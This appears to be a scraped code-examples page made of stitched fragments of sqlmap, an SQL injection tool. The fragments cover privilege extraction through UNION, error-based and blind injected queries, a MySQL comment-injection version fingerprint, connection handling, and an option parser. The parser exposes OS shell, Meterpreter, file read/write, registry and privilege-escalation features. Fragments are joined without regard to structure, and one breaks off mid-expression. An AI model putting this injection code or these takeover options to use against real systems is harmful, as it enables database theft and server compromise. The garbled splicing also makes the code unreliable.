        parser.add_option_group(enumeration)
        parser.add_option_group(brute)
        parser.add_option_group(udf)
        parser.add_option_group(filesystem)
        parser.add_option_group(takeover)
        parser.add_option_group(windows)
        parser.add_option_group(general)
        parser.add_option_group(miscellaneous)

        args = []

        for arg in sys.argv:
            args.append(getUnicode(arg, system=True))

        (args, _) = parser.parse_args(args)

        if not any([args.direct, args.url, args.list, args.googleDork, args.configFile, \
            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.realTest, args.wizard]):
            errMsg = "missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), "
            errMsg += "-h for help"
            parser.error(errMsg)

        return args

    except (OptionError, TypeError), e:
        parser.error(e)
Beispiel #35
0
    def getPrivileges(self, query2=False):
        infoMsg = "fetching database users privileges"

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(",")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
                else:
                    query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = "trying with table USER_SYS_PRIVS"
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(pgsqlPrivs[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == "Y":
                                    privileges.add(mysqlPrivs[count])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split(",")
                                privilege = privs[0]
                                privs = privs[1]
                                privs = list(privs.strip())
                                i = 1

                                for priv in privs:
                                    if priv.upper() in ("Y", "G"):
                                        for position, db2Priv in db2Privs.items():
                                            if position == i:
                                                privilege += ", " + db2Priv

                                    i += 1

                                privileges.add(privilege)

                    if self.__isAdminFromPrivileges(privileges):
                        areAdmins.add(user)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user].extend(privileges)
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = " LIKE "
            else:
                conditionChar = "="

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = "******" % user

                infoMsg = "fetching number of privileges "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2 % user
                elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query = rootQuery.blind.count % (conditionChar, user)
                elif Backend.isDbms(DBMS.ORACLE) and query2:
                    query = rootQuery.blind.count2 % user
                else:
                    query = rootQuery.blind.count % user
                count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if Backend.isDbms(DBMS.ORACLE) and not query2:
                        infoMsg = "trying with table USER_SYS_PRIVS"
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = "unable to retrieve the number of "
                    warnMsg += "privileges for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching privileges for user '%s'" % user
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    else:
                        query = rootQuery.blind.query % (user, index)
                    privilege = inject.getValue(query, inband=False, error=False)

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
                        privilege = privilege.replace(", ", ",")
                        privs = privilege.split(",")
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in pgsqlPrivs.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace(", ", ",")
                        privs = privilege.split(",")
                        i = 1

                        for priv in privs:
                            if priv.upper() == "Y":
                                for position, mysqlPriv in mysqlPrivs.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(firebirdPrivs[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split(",")
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in ("Y", "G"):
                                for position, db2Priv in db2Privs.items():
                                    if position == i:
                                        privilege += ", " + db2Priv

                            i += 1

                        privileges.add(privilege)

                    if self.__isAdminFromPrivileges(privileges):
                        areAdmins.add(user)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = "unable to retrieve the privileges "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = "unable to retrieve the privileges "
            errMsg += "for the database users"
            raise sqlmapNoneDataException, errMsg

        return (kb.data.cachedUsersPrivileges, areAdmins)
Beispiel #36
0
                return None, None, None
            elif ignoreTimeout and any(
                    _ in tbMsg for _ in ("timed out", "IncompleteRead")):
                return None, None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += ". sqlmap is going to retry the request"
                logger.critical(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            page = page if isinstance(page, unicode) else getUnicode(page)
            socket.setdefaulttimeout(conf.timeout)

        processResponse(page, responseHeaders)

        if conn and getattr(conn, "redurl", None):
            _ = urlparse.urlsplit(conn.redurl)
            _ = ("%s%s" % (_.path or "/",
                           ("?%s" % _.query) if _.query else ""))
            requestMsg = re.sub("(\n[A-Z]+ ).+?( HTTP/\d)",
                                "\g<1>%s\g<2>" % getUnicode(_), requestMsg, 1)
            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID,
                                                 conn.code, status)
        else:
            responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID,
                                                 code, status)
Beispiel #37
0
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<tr>")

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank),
                                newline=False,
                                console=console)

                    if len(value
                           ) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        try:
                            mimetype = magic.from_buffer(value, mime=True)
                            if any(
                                    mimetype.startswith(_)
    def _commentCheck(self):
        infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL
        logger.info(infoMsg)

        randInt = randomInt()
        result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt))

        if not result:
            warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL
            logger.warn(warnMsg)

            return None

        # MySQL valid versions updated on 04/2011
        versions = (
                     (32200, 32235),    # MySQL 3.22
                     (32300, 32359),    # MySQL 3.23
                     (40000, 40032),    # MySQL 4.0
                     (40100, 40131),    # MySQL 4.1
                     (50000, 50092),    # MySQL 5.0
                     (50100, 50156),    # MySQL 5.1
                     (50400, 50404),    # MySQL 5.4
                     (50500, 50521),    # MySQL 5.5
                     (50600, 50604),    # MySQL 5.6
                     (60000, 60014),    # MySQL 6.0
                   )

        index = -1
        for i in xrange(len(versions)):
            element = versions[i]
            version = element[0]
            randInt = randomInt()
            version = getUnicode(version)
            result = inject.checkBooleanExpression("%d=%d/*!%s AND %d=%d*/" % (randInt, randInt, version, randInt, randInt + 1))

            if result:
                break
            else:
                index += 1

        if index >= 0:
            prevVer = None

            for version in xrange(versions[index][0], versions[index][1] + 1):
                randInt = randomInt()
                version = getUnicode(version)
                result = inject.checkBooleanExpression("%d=%d/*!%s AND %d=%d*/" % (randInt, randInt, version, randInt, randInt + 1))

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Beispiel #39
0
    def __str__(self):
        """
        This method returns the progress bar string
        """

        return getUnicode(self._progBar)
Beispiel #40
0
def cmdLineParser(argv=None):
    """
    This function parses the command line parameters and arguments
    """

    if not argv:
        argv = sys.argv

    checkSystemEncoding()

    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

    usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
    parser = OptionParser(usage=usage)

    try:
        parser.add_option("--hh", dest="advancedHelp",
                          action="store_true",
                          help="Show advanced help message and exit")

        parser.add_option("--version", dest="showVersion",
                          action="store_true",
                          help="Show program's version number and exit")

        parser.add_option("-v", dest="verbose", type="int",
                          help="Verbosity level: 0-6 (default %d)" % defaults.verbose)

        # Target options
        target = OptionGroup(parser, "Target", "At least one of these "
                             "options has to be provided to define the target(s)")

        target.add_option("-d", dest="direct", help="Connection string "
                          "for direct database connection")

        target.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")

        target.add_option("-l", dest="logFile", help="Parse target(s) from Burp "
                          "or WebScarab proxy log file")

        target.add_option("-x", dest="sitemapUrl", help="Parse target(s) from remote sitemap(.xml) file")

        target.add_option("-m", dest="bulkFile", help="Scan multiple targets given "
                          "in a textual file ")

        target.add_option("-r", dest="requestFile",
                          help="Load HTTP request from a file")

        target.add_option("-g", dest="googleDork",
                          help="Process Google dork results as target URLs")

        target.add_option("-c", dest="configFile",
                          help="Load options from a configuration INI file")

        # Request options
        request = OptionGroup(parser, "Request", "These options can be used "
                              "to specify how to connect to the target URL")

        request.add_option("--method", dest="method",
                           help="Force usage of given HTTP method (e.g. PUT)")

        request.add_option("--data", dest="data",
                           help="Data string to be sent through POST (e.g. \"id=1\")")

        request.add_option("--param-del", dest="paramDel",
                           help="Character used for splitting parameter values (e.g. &)")

        request.add_option("--cookie", dest="cookie",
                           help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")

        request.add_option("--cookie-del", dest="cookieDel",
                           help="Character used for splitting cookie values (e.g. ;)")

        request.add_option("--load-cookies", dest="loadCookies",
                           help="File containing cookies in Netscape/wget format")

        request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
                           help="Ignore Set-Cookie header from response")

        request.add_option("--user-agent", dest="agent",
                           help="HTTP User-Agent header value")

        request.add_option("--random-agent", dest="randomAgent", action="store_true",
                           help="Use randomly selected HTTP User-Agent header value")

        request.add_option("--host", dest="host",
                           help="HTTP Host header value")

        request.add_option("--referer", dest="referer",
                           help="HTTP Referer header value")

        request.add_option("-H", "--header", dest="header",
                           help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")

        request.add_option("--headers", dest="headers",
                           help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")

        request.add_option("--auth-type", dest="authType",
                           help="HTTP authentication type (Basic, Digest, NTLM or PKI)")

        request.add_option("--auth-cred", dest="authCred",
                           help="HTTP authentication credentials (name:password)")

        request.add_option("--auth-file", dest="authFile",
                           help="HTTP authentication PEM cert/private key file")

        request.add_option("--ignore-code", dest="ignoreCode", type="int",
                           help="Ignore (problematic) HTTP error code (e.g. 401)")

        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                           help="Ignore system default proxy settings")

        request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
                           help="Ignore redirection attempts")

        request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
                           help="Ignore connection timeouts")

        request.add_option("--proxy", dest="proxy",
                           help="Use a proxy to connect to the target URL")

        request.add_option("--proxy-cred", dest="proxyCred",
                           help="Proxy authentication credentials (name:password)")

        request.add_option("--proxy-file", dest="proxyFile",
                           help="Load proxy list from a file")

        request.add_option("--tor", dest="tor", action="store_true",
                           help="Use Tor anonymity network")

        request.add_option("--tor-port", dest="torPort",
                           help="Set Tor proxy port other than default")

        request.add_option("--tor-type", dest="torType",
                           help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")

        request.add_option("--check-tor", dest="checkTor", action="store_true",
                           help="Check to see if Tor is used properly")

        request.add_option("--delay", dest="delay", type="float",
                           help="Delay in seconds between each HTTP request")

        request.add_option("--timeout", dest="timeout", type="float",
                           help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)

        request.add_option("--retries", dest="retries", type="int",
                           help="Retries when the connection timeouts (default %d)" % defaults.retries)

        request.add_option("--randomize", dest="rParam",
                           help="Randomly change value for given parameter(s)")

        request.add_option("--safe-url", dest="safeUrl",
                           help="URL address to visit frequently during testing")

        request.add_option("--safe-post", dest="safePost",
                           help="POST data to send to a safe URL")

        request.add_option("--safe-req", dest="safeReqFile",
                           help="Load safe HTTP request from a file")

        request.add_option("--safe-freq", dest="safeFreq", type="int",
                           help="Test requests between two visits to a given safe URL")

        request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
                           help="Skip URL encoding of payload data")

        request.add_option("--csrf-token", dest="csrfToken",
                           help="Parameter used to hold anti-CSRF token")

        request.add_option("--csrf-url", dest="csrfUrl",
                           help="URL address to visit for extraction of anti-CSRF token")

        request.add_option("--force-ssl", dest="forceSSL", action="store_true",
                           help="Force usage of SSL/HTTPS")

        request.add_option("--chunked", dest="chunked", action="store_true",
                           help="Use HTTP chunked transfer encoded (POST) requests")

        request.add_option("--hpp", dest="hpp", action="store_true",
                           help="Use HTTP parameter pollution method")

        request.add_option("--eval", dest="evalCode",
                           help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
       
        # Optimization options
        optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")

        optimization.add_option("-o", dest="optimize", action="store_true",
                                help="Turn on all optimization switches")

        optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
                                help="Predict common queries output")

        optimization.add_option("--keep-alive", dest="keepAlive", action="store_true",
                                help="Use persistent HTTP(s) connections")

        optimization.add_option("--null-connection", dest="nullConnection", action="store_true",
                                help="Retrieve page length without actual HTTP response body")

        optimization.add_option("--threads", dest="threads", type="int",
                                help="Max number of concurrent HTTP(s) "
                                "requests (default %d)" % defaults.threads)

        # Injection options
        injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")

        injection.add_option("-p", dest="testParameter",
                             help="Testable parameter(s)")

        injection.add_option("--skip", dest="skip",
                             help="Skip testing for given parameter(s)")

        injection.add_option("--skip-static", dest="skipStatic", action="store_true",
                             help="Skip testing parameters that not appear to be dynamic")

        injection.add_option("--param-exclude", dest="paramExclude",
                             help="Regexp to exclude parameters from testing (e.g. \"ses\")")

        injection.add_option("--dbms", dest="dbms",
                             help="Force back-end DBMS to provided value")

        injection.add_option("--dbms-cred", dest="dbmsCred",
                             help="DBMS authentication credentials (user:password)")

        injection.add_option("--os", dest="os",
                             help="Force back-end DBMS operating system to provided value")

        injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
                             help="Use big numbers for invalidating values")

        injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
                             help="Use logical operations for invalidating values")

        injection.add_option("--invalid-string", dest="invalidString", action="store_true",
                             help="Use random strings for invalidating values")

        injection.add_option("--no-cast", dest="noCast", action="store_true",
                             help="Turn off payload casting mechanism")

        injection.add_option("--no-escape", dest="noEscape", action="store_true",
                             help="Turn off string escaping mechanism")

        injection.add_option("--prefix", dest="prefix",
                             help="Injection payload prefix string")

        injection.add_option("--suffix", dest="suffix",
                             help="Injection payload suffix string")

        injection.add_option("--tamper", dest="tamper",
                             help="Use given script(s) for tampering injection data")

        # Detection options
        detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")

        detection.add_option("--level", dest="level", type="int",
                             help="Level of tests to perform (1-5, default %d)" % defaults.level)

        detection.add_option("--risk", dest="risk", type="int",
                             help="Risk of tests to perform (1-3, default %d)" % defaults.risk)

        detection.add_option("--string", dest="string",
                             help="String to match when query is evaluated to True")

        detection.add_option("--not-string", dest="notString",
                             help="String to match when query is evaluated to False")

        detection.add_option("--regexp", dest="regexp",
                             help="Regexp to match when query is evaluated to True")

        detection.add_option("--code", dest="code", type="int",
                             help="HTTP code to match when query is evaluated to True")

        detection.add_option("--text-only", dest="textOnly", action="store_true",
                             help="Compare pages based only on the textual content")

        detection.add_option("--titles", dest="titles", action="store_true",
                             help="Compare pages based only on their titles")

        # Techniques options
        techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")

        techniques.add_option("--technique", dest="tech",
                              help="SQL injection techniques to use (default \"%s\")" % defaults.tech)

        techniques.add_option("--time-sec", dest="timeSec", type="int",
                              help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)

        techniques.add_option("--union-cols", dest="uCols",
                              help="Range of columns to test for UNION query SQL injection")

        techniques.add_option("--union-char", dest="uChar",
                              help="Character to use for bruteforcing number of columns")

        techniques.add_option("--union-from", dest="uFrom",
                              help="Table to use in FROM part of UNION query SQL injection")

        techniques.add_option("--dns-domain", dest="dnsDomain",
                              help="Domain name used for DNS exfiltration attack")

        techniques.add_option("--second-url", dest="secondUrl",
                              help="Resulting page URL searched for second-order response")

        techniques.add_option("--second-req", dest="secondReq",
                              help="Load second-order HTTP request from file")

        # Fingerprint options
        fingerprint = OptionGroup(parser, "Fingerprint")

        fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
                               help="Perform an extensive DBMS version fingerprint")

        # Enumeration options
        enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")

        enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
                               help="Retrieve everything")

        enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
                               help="Retrieve DBMS banner")

        enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
                               help="Retrieve DBMS current user")

        enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
                               help="Retrieve DBMS current database")

        enumeration.add_option("--hostname", dest="getHostname", action="store_true",
                               help="Retrieve DBMS server hostname")

        enumeration.add_option("--is-dba", dest="isDba", action="store_true",
                               help="Detect if the DBMS current user is DBA")

        enumeration.add_option("--users", dest="getUsers", action="store_true",
                               help="Enumerate DBMS users")

        enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
                               help="Enumerate DBMS users password hashes")

        enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
                               help="Enumerate DBMS users privileges")

        enumeration.add_option("--roles", dest="getRoles", action="store_true",
                               help="Enumerate DBMS users roles")

        enumeration.add_option("--dbs", dest="getDbs", action="store_true",
                               help="Enumerate DBMS databases")

        enumeration.add_option("--tables", dest="getTables", action="store_true",
                               help="Enumerate DBMS database tables")

        enumeration.add_option("--columns", dest="getColumns", action="store_true",
                               help="Enumerate DBMS database table columns")

        enumeration.add_option("--schema", dest="getSchema", action="store_true",
                               help="Enumerate DBMS schema")

        enumeration.add_option("--count", dest="getCount", action="store_true",
                               help="Retrieve number of entries for table(s)")

        enumeration.add_option("--dump", dest="dumpTable", action="store_true",
                               help="Dump DBMS database table entries")

        enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
                               help="Dump all DBMS databases tables entries")

        enumeration.add_option("--search", dest="search", action="store_true",
                               help="Search column(s), table(s) and/or database name(s)")

        enumeration.add_option("--comments", dest="getComments", action="store_true",
                               help="Check for DBMS comments during enumeration")

        enumeration.add_option("-D", dest="db",
                               help="DBMS database to enumerate")

        enumeration.add_option("-T", dest="tbl",
                               help="DBMS database table(s) to enumerate")

        enumeration.add_option("-C", dest="col",
                               help="DBMS database table column(s) to enumerate")

        enumeration.add_option("-X", dest="exclude",
                               help="DBMS database identifier(s) to not enumerate")

        enumeration.add_option("-U", dest="user",
                               help="DBMS user to enumerate")

        enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
                               help="Exclude DBMS system databases when enumerating tables")

        enumeration.add_option("--pivot-column", dest="pivotColumn",
                               help="Pivot column name")

        enumeration.add_option("--where", dest="dumpWhere",
                               help="Use WHERE condition while table dumping")

        enumeration.add_option("--start", dest="limitStart", type="int",
                               help="First dump table entry to retrieve")

        enumeration.add_option("--stop", dest="limitStop", type="int",
                               help="Last dump table entry to retrieve")

        enumeration.add_option("--first", dest="firstChar", type="int",
                               help="First query output word character to retrieve")

        enumeration.add_option("--last", dest="lastChar", type="int",
                               help="Last query output word character to retrieve")

        enumeration.add_option("--sql-query", dest="query",
                               help="SQL statement to be executed")

        enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
                               help="Prompt for an interactive SQL shell")

        enumeration.add_option("--sql-file", dest="sqlFile",
                               help="Execute SQL statements from given file(s)")

        # Brute force options
        brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")

        brute.add_option("--common-tables", dest="commonTables", action="store_true",
                         help="Check existence of common tables")

        brute.add_option("--common-columns", dest="commonColumns", action="store_true",
                         help="Check existence of common columns")

        # User-defined function options
        udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")

        udf.add_option("--udf-inject", dest="udfInject", action="store_true",
                       help="Inject custom user-defined functions")

        udf.add_option("--shared-lib", dest="shLib",
                       help="Local path of the shared library")

        # File system options
        filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")

        filesystem.add_option("--file-read", dest="fileRead",
                              help="Read a file from the back-end DBMS file system")

        filesystem.add_option("--file-write", dest="fileWrite",
                              help="Write a local file on the back-end DBMS file system")

        filesystem.add_option("--file-dest", dest="fileDest",
                              help="Back-end DBMS absolute filepath to write to")

        # Takeover options
        takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")

        takeover.add_option("--os-cmd", dest="osCmd",
                            help="Execute an operating system command")

        takeover.add_option("--os-shell", dest="osShell", action="store_true",
                            help="Prompt for an interactive operating system shell")

        takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
                            help="Prompt for an OOB shell, Meterpreter or VNC")

        takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
                            help="One click prompt for an OOB shell, Meterpreter or VNC")

        takeover.add_option("--os-bof", dest="osBof", action="store_true",
                            help="Stored procedure buffer overflow "
                                 "exploitation")

        takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
                            help="Database process user privilege escalation")

        takeover.add_option("--msf-path", dest="msfPath",
                            help="Local path where Metasploit Framework is installed")

        takeover.add_option("--tmp-path", dest="tmpPath",
                            help="Remote absolute path of temporary files directory")

        # Windows registry options
        windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")

        windows.add_option("--reg-read", dest="regRead", action="store_true",
                           help="Read a Windows registry key value")

        windows.add_option("--reg-add", dest="regAdd", action="store_true",
                           help="Write a Windows registry key value data")

        windows.add_option("--reg-del", dest="regDel", action="store_true",
                           help="Delete a Windows registry key value")

        windows.add_option("--reg-key", dest="regKey",
                           help="Windows registry key")

        windows.add_option("--reg-value", dest="regVal",
                           help="Windows registry key value")

        windows.add_option("--reg-data", dest="regData",
                           help="Windows registry key value data")

        windows.add_option("--reg-type", dest="regType",
                           help="Windows registry key value type")

        # General options
        general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")

        general.add_option("-s", dest="sessionFile",
                           help="Load session from a stored (.sqlite) file")

        general.add_option("-t", dest="trafficFile",
                           help="Log all HTTP traffic into a textual file")

        general.add_option("--batch", dest="batch", action="store_true",
                           help="Never ask for user input, use the default behavior")

        general.add_option("--binary-fields", dest="binaryFields",
                           help="Result fields having binary values (e.g. \"digest\")")

        general.add_option("--check-internet", dest="checkInternet", action="store_true",
                           help="Check Internet connection before assessing the target")

        general.add_option("--crawl", dest="crawlDepth", type="int",
                           help="Crawl the website starting from the target URL")

        general.add_option("--crawl-exclude", dest="crawlExclude",
                           help="Regexp to exclude pages from crawling (e.g. \"logout\")")

        general.add_option("--csv-del", dest="csvDel",
                           help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)

        general.add_option("--charset", dest="charset",
                           help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")

        general.add_option("--dump-format", dest="dumpFormat",
                           help="Format of dumped data (CSV (default), HTML or SQLITE)")

        general.add_option("--encoding", dest="encoding",
                           help="Character encoding used for data retrieval (e.g. GBK)")

        general.add_option("--eta", dest="eta", action="store_true",
                           help="Display for each output the estimated time of arrival")

        general.add_option("--flush-session", dest="flushSession", action="store_true",
                           help="Flush session files for current target")

        general.add_option("--forms", dest="forms", action="store_true",
                           help="Parse and test forms on target URL")

        general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
                           help="Ignore query results stored in session file")

        general.add_option("--har", dest="harFile",
                           help="Log all HTTP traffic into a HAR file")

        general.add_option("--hex", dest="hexConvert", action="store_true",
                           help="Use hex conversion during data retrieval")

        general.add_option("--output-dir", dest="outputDir", action="store",
                           help="Custom output directory path")

        general.add_option("--parse-errors", dest="parseErrors", action="store_true",
                           help="Parse and display DBMS error messages from responses")

        general.add_option("--preprocess", dest="preprocess",
                             help="Use given script(s) for preprocessing of response data")

        general.add_option("--repair", dest="repair", action="store_true",
                           help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)

        general.add_option("--save", dest="saveConfig",
                           help="Save options to a configuration INI file")

        general.add_option("--scope", dest="scope",
                           help="Regexp to filter targets from provided proxy log")

        general.add_option("--test-filter", dest="testFilter",
                           help="Select tests by payloads and/or titles (e.g. ROW)")

        general.add_option("--test-skip", dest="testSkip",
                           help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")

        general.add_option("--update", dest="updateAll", action="store_true",
                           help="Update sqlmap")

        # Miscellaneous options
        miscellaneous = OptionGroup(parser, "Miscellaneous")

